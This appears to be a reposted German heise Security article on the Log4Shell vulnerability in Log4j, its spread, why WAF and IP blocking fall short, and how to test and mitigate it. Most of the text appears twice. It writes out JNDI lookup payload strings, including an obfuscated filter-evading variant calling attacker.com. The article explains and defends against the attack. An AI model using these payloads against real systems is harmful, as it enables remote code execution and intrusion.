Die Sicherheitslücke im Java-Logging log4j sorgt für Schlagzeilen und viel Verunsicherung. Man weiß, dass die Lücke sehr weitverbreitet und trivial auszunutzen ist. Doch es ist noch längst nicht klar, was alles konkret betroffen ist und wie man sich jetzt am besten schützen kann. heise Security erklärt, sortiert und hilft, das Problem einzudämmen.
Zunächst: Die Gefahr ist real; das Bundesamt für Sicherheit in der Informationstechnik (BSI) tat gut daran, Samstag Nacht die Warnstufe Rot auszurufen. Das Ausnutzen der Lücke ist tatsächlich denkbar einfach, die Zahl der anfälligen Systeme unüberschaubar und Sicherheitsfirmen sehen bereits Log4j-Angriffe von über 500 IP-Adressen. Die Mehrzahl davon sind aktuell noch sogenanntes Fingerprinting, bei dem man versucht, anfällige Systeme zu finden. Vieles davon dürften Forscher sein, die sich nur ein Bild der Lage machen wollen.
Doch Microsoft etwa berichtet auch bereits von ersten echten Angriffen, bei denen auf den attackierten Systemen Cobalt Strike Beacons platziert wurden. Damit verschafft sich ein Angreifer einen Brückenkopf im Netz seines Opfers, um dieses weiter auszuspionieren und typischerweise dann mit Ransomware zu erpressen. Ransomware-Angriffe über Log4j sind eine echte Bedrohung.
Auch Tesla hatte Log4j-Probleme.
(Bild: Log4jAttackSurface)
${jndi:ldap://boser.server.de/a}
enthält, dann knallt es. Der Dienst kontaktiert "boser.server.de", nimmt von diesem Java-Code entgegen und führt den aus. Ja, genau – einfach so. Da kommen dann Krypto-Miner oder gefährliche Hintertürprogramme wie die erwähnten Cobalt Strike Beacons auf das System. Deshalb heißt der Angriff auch Log4Shell, also "Logging, um einen direkten Zugriff aufs System zu erhalten".
Wenn ein iPhone eine solche Zeichenkette im Namen hatte, rappelte es in Apples iCloud (das ist jetzt hoffentlich schon gefixt); wenn ein Tesla sich damit meldete, hatte der E-Auto-Konzern ein Problem und so geht es weiter. Dabei muss die problematische Zeichenkette auch nicht im Namen stecken. Es kann auch der Ort oder sogar die Uhrzeit (Timezone) sein. Oder der Text einer Fehlermeldung, die vorsichtshalber protokolliert wird. Die Möglichkeiten sind endlos.
Als Anwender kann man da aktuell nicht viel anderes tun, als abzuwarten, beim Hersteller nachzufragen und ankommende Patches schnellstmöglich zu installieren. Die gute Nachricht ist, dass Endanwender nicht im Fokus stehen. Das Problem betrifft vorrangig die Betreiber von Diensten und IT-Infrastruktur. Aber auch Endanwender könnte es etwa durch anfällige IoT-Gerätschaften erwischen.
Administratoren in Firmen haben jetzt aber einen Haufen Arbeit vor sich: Da bereits erste ernsthafte Angriffe gesichtet wurden, stehen bald erste Erpressungen durch Cybercrime-Banden ins Haus, die über Log4Shell ins Firmennetz gekommen sind. Admins müssen also jetzt dafür sorgen, dass sie ihre Unternehmens-IT schnellstmöglich absichern oder zumindest aus der Schusslinie bringen. Dazu kann ich ein paar Tipps beisteuern, was funktioniert und was nicht.
Cloudflare blockiert den Zugriff auf die Web-Seiten von Kunden wie Sixt, wenn es einen Log4Shell-Angriff entdeckt.
Der naheliegende Gedanke ist, die gefährlichen Zeichenketten auf einem vorlagerten Gerät wie einer Web Application Firewall (WAF) zu erkennen und zu blockieren. Es gibt auch schon erste Hersteller, die mit beeindruckenden Statistiken aufwarten, wie viele Angriffe sie auf diesem Weg bereits abgewehrt haben.
Doch das Problem ist, dass es fast beliebig viele Möglichkeiten gibt, dieser Erkennung zu entgehen. So kann ein Angreifer das etwa als
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
verschleiern. Das umgeht praktisch alle Filter, löst aber trotzdem den Angriff aus. Die WAF-Hersteller blockieren also hauptsächlich harmlose Scans von Skript-Kiddies und Sicherheitsforschern, die sich ein Bild der Lage verschaffen wollen. Ernsthafte Angriffe können sie zumindest über sogenannte Regular Expressions nicht erkennen. Florian Roth, ein weltweit anerkannter Experte auf diesem Gebiet, hat daraufhin bereits das Handtuch geworfen.
Cloudflare versucht übrigens derzeit seine Kunden auf diesem Weg zu schützen. Der Dienstleister blockiert etwa Anfragen, bei denen der Browser einen verdächtigen User-Agent angibt. Das kann man machen. Aber ich bin mir nicht sicher, ob das nicht letztlich mehr falsche Sicherheit vorspiegelt, als dass es wirklich ernste Angriffe verhindert.
Tor blockieren hilft also nicht viel gegen ernste Bedrohungen. Wenn man aber einen ständig aktualisierten Feed mit qualifizierten Attacker-IPs hat, könnte der helfen, einen Angriff abzuwehren. Das Problem dabei: Ich habe noch keinen gesehen, der das leistet (wer einen kennt, sage mir gerne per Mail Bescheid).
Wer Zugang zum System hat, auf dem ein Dienst läuft, kann dort nach verwundbaren Instanzen der Log4J-Bibliothek suchen. Das ist nicht trivial, da diese typischerweise in den Java-typischen JAR-Archiven stecken. Der log4j-detector durchsucht diese und meldet anfällige Versionen von Log4J 2.x (2.0-beta9 bis 2.14.1). Die Version 2.15.0 ist bereits gefixt und 1.2.x ist nicht betroffen.
Zudem kann man Dienste auch selber gezielt testen. Dazu erstellt man einen passenden String und verteilt den systematisch an potenziell anfällige Dienste. Das Problem ist, dass man in der Regel kein direkt sichtbares Feedback bekommt, ob etwa beim Aufruf einer Web-Seite Log4Shell bereits zugeschlagen hat. Da springt der Dienst CanaryTokens in die Bresche.
Mit CanaryTokens kann man selbst auf Log4Shell-Anfälligkeit testen.
CanaryTokens erzeugt dazu einen String wie
${jndi:ldap://065tgzyzabcdef.canarytokens.com/a}
Eine DNS-Namensauflösung hat den versuchten Zugriff auf das CanaryToken dokumentiert und einen Alarm ausgelöst.
Den kann man als User-Agent im Browser benutzen oder in Formulare eintragen und so weiter. Sobald irgendetwas versucht, den darin enthaltenen Domain-Namen aufzulösen, erhält man einen Alarm an die hinterlegte E-Mail-Adresse. (Note: Ich nehme aktuell an, dass die Alarmierung über DNS erfolgt und CanaryTokens nicht wirklich einen LDAP-Verbindungsaufbau abwartet). Dieser Alarm enthält dann die IP-Adresse des Verursachers. Das ist dann jedoch nur der DNS-Server, der die Anfrage gestellt hat. Um die verursachende App zu finden, muss man eventuell mehrere Tests mit verschiedenen Tokens machen.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Solange man sich nicht sicher ist, dass die eigene Infrastruktur safe ist, sollte man zumindest die Angriffsfläche weit möglichst reduzieren (Anmerkung: Eigentlich ist das auch eine gute Idee, wenn man sich sicher fühlt. Aber unter den aktuellen Umständen ist es zu rechtfertigen, dafür zeitweise Komfort oder nicht zwingend erforderliche Funktionen etwas weiter einzuschränken als im Normalbetrieb, um sich Zeit zu erkaufen). Dazu gehören unter anderem Maßnahmen wie:
Eine Lehre sollte man jedoch bereits jetzt daraus ziehen: Es ist fahrlässig, dass wichtige Infrastruktur-Komponenten wie der wichtigste Logging-Mechanimus der Java-Welt ausschließlich auf den Schultern von freiwilligen, unbezahlten Entwicklern ruhen. Will man solche Katastrophen zukünftig vermeiden, sollten sich Politik und Wirtschaft überlegen, wie man solche Projekte fördern kann, um deren Sicherheit zu verbessern.
Und noch ein abschließender Hinweis in eigener Sache: Im Expertenforum von heise Security Pro diskutieren Sicherheitsverantwortliche und der Autor über ihre Erfahrungen mit den Log4j-Problemen.
Quelle: heise
Zunächst: Die Gefahr ist real; das Bundesamt für Sicherheit in der Informationstechnik (BSI) tat gut daran, Samstag Nacht die Warnstufe Rot auszurufen. Das Ausnutzen der Lücke ist tatsächlich denkbar einfach, die Zahl der anfälligen Systeme unüberschaubar und Sicherheitsfirmen sehen bereits Log4j-Angriffe von über 500 IP-Adressen. Die Mehrzahl davon sind aktuell noch sogenanntes Fingerprinting, bei dem man versucht, anfällige Systeme zu finden. Vieles davon dürften Forscher sein, die sich nur ein Bild der Lage machen wollen.
Doch Microsoft etwa berichtet auch bereits von ersten echten Angriffen, bei denen auf den attackierten Systemen Cobalt Strike Beacons platziert wurden. Damit verschafft sich ein Angreifer einen Brückenkopf im Netz seines Opfers, um dieses weiter auszuspionieren und typischerweise dann mit Ransomware zu erpressen. Ransomware-Angriffe über Log4j sind eine echte Bedrohung.
Du musst angemeldet sein, um Bilder zu sehen.
Auch Tesla hatte Log4j-Probleme.
(Bild: Log4jAttackSurface)
Die Ursache
Das Problem entsteht, wenn ein Dienst ein Ereignis wie "Habe X getroffen" protokolliert. Im Java-Universum kommt dabei häufig die Bibliothek Log4j zum Einsatz. Und die schreibt das nicht nur weg; sie versucht, den Text X zu interpretieren. Und wenn der etwas wie${jndi:ldap://boser.server.de/a}
enthält, dann knallt es. Der Dienst kontaktiert "boser.server.de", nimmt von diesem Java-Code entgegen und führt den aus. Ja, genau – einfach so. Da kommen dann Krypto-Miner oder gefährliche Hintertürprogramme wie die erwähnten Cobalt Strike Beacons auf das System. Deshalb heißt der Angriff auch Log4Shell, also "Logging, um einen direkten Zugriff aufs System zu erhalten".
Wenn ein iPhone eine solche Zeichenkette im Namen hatte, rappelte es in Apples iCloud (das ist jetzt hoffentlich schon gefixt); wenn ein Tesla sich damit meldete, hatte der E-Auto-Konzern ein Problem und so geht es weiter. Dabei muss die problematische Zeichenkette auch nicht im Namen stecken. Es kann auch der Ort oder sogar die Uhrzeit (Timezone) sein. Oder der Text einer Fehlermeldung, die vorsichtshalber protokolliert wird. Die Möglichkeiten sind endlos.
Schutz vor Log4shell
Es gibt derzeit keine offizielle Liste, was von der Schwachstelle CVE-2021-44228betroffen ist und was nicht. Ein französischer Sicherheitsforscher pflegt immerhin eine inoffizielle Liste mit bereits über 100 Einträgen zu Log4j-Advisories, in der man nach seinen Produkten suchen kann. Weltweit rotieren derzeit Hersteller (hoffentlich!), um ihre Produkte auf diese Schwachstelle abzuklopfen und diese dann zu beseitigen. Da rollt eine riesige Welle von Sicherheits-Updates auf uns zu.Als Anwender kann man da aktuell nicht viel anderes tun, als abzuwarten, beim Hersteller nachzufragen und ankommende Patches schnellstmöglich zu installieren. Die gute Nachricht ist, dass Endanwender nicht im Fokus stehen. Das Problem betrifft vorrangig die Betreiber von Diensten und IT-Infrastruktur. Aber auch Endanwender könnte es etwa durch anfällige IoT-Gerätschaften erwischen.
Administratoren in Firmen haben jetzt aber einen Haufen Arbeit vor sich: Da bereits erste ernsthafte Angriffe gesichtet wurden, stehen bald erste Erpressungen durch Cybercrime-Banden ins Haus, die über Log4Shell ins Firmennetz gekommen sind. Admins müssen also jetzt dafür sorgen, dass sie ihre Unternehmens-IT schnellstmöglich absichern oder zumindest aus der Schusslinie bringen. Dazu kann ich ein paar Tipps beisteuern, was funktioniert und was nicht.
Filtern und Blockieren
Du musst angemeldet sein, um Bilder zu sehen.
Cloudflare blockiert den Zugriff auf die Web-Seiten von Kunden wie Sixt, wenn es einen Log4Shell-Angriff entdeckt.
Der naheliegende Gedanke ist, die gefährlichen Zeichenketten auf einem vorlagerten Gerät wie einer Web Application Firewall (WAF) zu erkennen und zu blockieren. Es gibt auch schon erste Hersteller, die mit beeindruckenden Statistiken aufwarten, wie viele Angriffe sie auf diesem Weg bereits abgewehrt haben.
Doch das Problem ist, dass es fast beliebig viele Möglichkeiten gibt, dieser Erkennung zu entgehen. So kann ein Angreifer das etwa als
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
verschleiern. Das umgeht praktisch alle Filter, löst aber trotzdem den Angriff aus. Die WAF-Hersteller blockieren also hauptsächlich harmlose Scans von Skript-Kiddies und Sicherheitsforschern, die sich ein Bild der Lage verschaffen wollen. Ernsthafte Angriffe können sie zumindest über sogenannte Regular Expressions nicht erkennen. Florian Roth, ein weltweit anerkannter Experte auf diesem Gebiet, hat daraufhin bereits das Handtuch geworfen.
Cloudflare versucht übrigens derzeit seine Kunden auf diesem Weg zu schützen. Der Dienstleister blockiert etwa Anfragen, bei denen der Browser einen verdächtigen User-Agent angibt. Das kann man machen. Aber ich bin mir nicht sicher, ob das nicht letztlich mehr falsche Sicherheit vorspiegelt, als dass es wirklich ernste Angriffe verhindert.
Böse IP-Adressen
Ähnliches gilt für die IP-Adressen der Angreifer. Es gibt bereits Listen von IP-Adressen, von denen solche Log4Shell-Angriffe ausgehen. Die meisten dieser IP-Adressen sind derzeit Tor-Exit-Nodes, sodass man den eigentlichen Urheber nicht feststellen kann. Es liegt nahe, diese IP-Adressen oder (zumindest temporär) sogar alle Tor-Exit-Nodes auf der Firewall zu sperren. Doch ernsthafte Angreifer – also Cybercrime und APTs – nutzen für solche Angriffe typischerweise Server im normalen Internet. Die auffälligen Tor-Exit-Nodes deuten vielmehr auf Forscher und Script-Kiddies hin.Tor blockieren hilft also nicht viel gegen ernste Bedrohungen. Wenn man aber einen ständig aktualisierten Feed mit qualifizierten Attacker-IPs hat, könnte der helfen, einen Angriff abzuwehren. Das Problem dabei: Ich habe noch keinen gesehen, der das leistet (wer einen kennt, sage mir gerne per Mail Bescheid).
Dienste testen
Doch genug von dem, was alles nicht funktioniert. Es gibt einiges, was man tatsächlich sinnvoll tun kann und sollte. Zunächst einmal sollte man sich einen Überblick verschaffen, wo Probleme lauern könnten. Dabei ist es natürlich sinnvoll beim Hersteller beziehungsweise Anbieter der jeweiligen Software, Geräte und Dienste nach dem Stand der Dinge zu fragen. Im Idealfall gibt es bereits Updates oder ein klares: "Wir haben das geprüft und sind nicht betroffen."Wer Zugang zum System hat, auf dem ein Dienst läuft, kann dort nach verwundbaren Instanzen der Log4J-Bibliothek suchen. Das ist nicht trivial, da diese typischerweise in den Java-typischen JAR-Archiven stecken. Der log4j-detector durchsucht diese und meldet anfällige Versionen von Log4J 2.x (2.0-beta9 bis 2.14.1). Die Version 2.15.0 ist bereits gefixt und 1.2.x ist nicht betroffen.
Zudem kann man Dienste auch selber gezielt testen. Dazu erstellt man einen passenden String und verteilt den systematisch an potenziell anfällige Dienste. Das Problem ist, dass man in der Regel kein direkt sichtbares Feedback bekommt, ob etwa beim Aufruf einer Web-Seite Log4Shell bereits zugeschlagen hat. Da springt der Dienst CanaryTokens in die Bresche.
Du musst angemeldet sein, um Bilder zu sehen.
Mit CanaryTokens kann man selbst auf Log4Shell-Anfälligkeit testen.
CanaryTokens erzeugt dazu einen String wie
${jndi:ldap://065tgzyzabcdef.canarytokens.com/a}
Du musst angemeldet sein, um Bilder zu sehen.
Eine DNS-Namensauflösung hat den versuchten Zugriff auf das CanaryToken dokumentiert und einen Alarm ausgelöst.
Den kann man als User-Agent im Browser benutzen oder in Formulare eintragen und so weiter. Sobald irgendetwas versucht, den darin enthaltenen Domain-Namen aufzulösen, erhält man einen Alarm an die hinterlegte E-Mail-Adresse. (Note: Ich nehme aktuell an, dass die Alarmierung über DNS erfolgt und CanaryTokens nicht wirklich einen LDAP-Verbindungsaufbau abwartet). Dieser Alarm enthält dann die IP-Adresse des Verursachers. Das ist dann jedoch nur der DNS-Server, der die Anfrage gestellt hat. Um die verursachende App zu finden, muss man eventuell mehrere Tests mit verschiedenen Tokens machen.
Dienste absichern und vorbeugen
Wenn es noch kein Update des Herstellers gibt, kann man anfällige Dienste durch Setzen der Variable log4j2.formatMsgNoLookups auf true sichern. Dazu startet man die Java Virtual Machine mit dem Argument –Dlog4j2.formatMsgNoLookups=True oder setzt die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Beides funktioniert jedoch erst ab Log4J Version 2.10.; im Zweifelsfall sollte man das also erneut testen. Bei älteren Versionen empfehlen die Entwickler, als Mitigation die Klasse JndiLookup zu entfernen:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Solange man sich nicht sicher ist, dass die eigene Infrastruktur safe ist, sollte man zumindest die Angriffsfläche weit möglichst reduzieren (Anmerkung: Eigentlich ist das auch eine gute Idee, wenn man sich sicher fühlt. Aber unter den aktuellen Umständen ist es zu rechtfertigen, dafür zeitweise Komfort oder nicht zwingend erforderliche Funktionen etwas weiter einzuschränken als im Normalbetrieb, um sich Zeit zu erkaufen). Dazu gehören unter anderem Maßnahmen wie:
- Zugangsbeschränkungen
- Segmentierung von Netzwerken
- Reduzierung der Rechte
- Beschränkung von ausgehenden Verbindungen
- Beschränkung der ausführbaren Programme
Fazit
Das durch Log4j verursachte Problem hat keine einfache Lösung und es wird auch nicht so schnell verschwinden. Im Gegenteil, es ist davon auszugehen, dass es die IT noch über Wochen und Monate hinweg beschäftigen wird.Eine Lehre sollte man jedoch bereits jetzt daraus ziehen: Es ist fahrlässig, dass wichtige Infrastruktur-Komponenten wie der wichtigste Logging-Mechanimus der Java-Welt ausschließlich auf den Schultern von freiwilligen, unbezahlten Entwicklern ruhen. Will man solche Katastrophen zukünftig vermeiden, sollten sich Politik und Wirtschaft überlegen, wie man solche Projekte fördern kann, um deren Sicherheit zu verbessern.
Und noch ein abschließender Hinweis in eigener Sache: Im Expertenforum von heise Security Pro diskutieren Sicherheitsverantwortliche und der Autor über ihre Erfahrungen mit den Log4j-Problemen.
Quelle: heise
